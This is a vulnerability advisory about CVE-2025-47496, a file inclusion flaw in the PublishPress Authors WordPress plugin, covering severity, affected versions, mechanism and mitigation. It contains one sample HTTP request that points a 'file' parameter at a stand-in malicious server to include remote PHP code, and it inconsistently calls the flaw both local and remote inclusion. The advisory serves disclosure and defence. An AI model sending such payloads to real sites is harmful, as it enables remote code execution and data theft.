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CVE-2025-47496: Critical PHP Remote File Inclusion Vulnerability in PublishPress Authors

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Overview

The document discusses a critical vulnerability, CVE-2025-47496, that affects the PublishPress Authors plugin used widely in web development. This vulnerability arises due to improper control of filename for Include/Require Statement in PHP Program and could lead to PHP Local File Inclusion. The vulnerability is of high concern as it could potentially compromise the system and lead to data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47496
Severity: High Risk (CVSS Score: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

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Product | Affected Versions

PublishPress Authors | n/a through 4.7.5

How the Exploit Works

The vulnerability stems from the improper control of filename for Include/Require Statement in the PHP program of PublishPress Authors. This allows an attacker to include a file from a remote server. If the attacker can control the input of the file name and manipulate it to point to a malicious file on a remote server, the vulnerability facilitates the execution of arbitrary code. This could potentially compromise the entire system and lead to a data breach.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a sample HTTP request where the attacker manipulates the file path to point to a malicious file on a remote server.

GET /index.php?file=http://malicious-server.com/malicious-file.php HTTP/1.1
Host: target.example.com

In the above request, the attacker has manipulated the ‘file’ parameter to point to ‘malicious-file.php’ on ‘malicious-server.com’. If the server processes this request, it would include the malicious file leading to the execution of the arbitrary code contained within.

Mitigation

The recommended mitigation for this flaw is to apply the vendor’s patch as soon as it becomes available. Meanwhile, as a temporary mitigation, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help in blocking or alerting about potential exploitation attempts.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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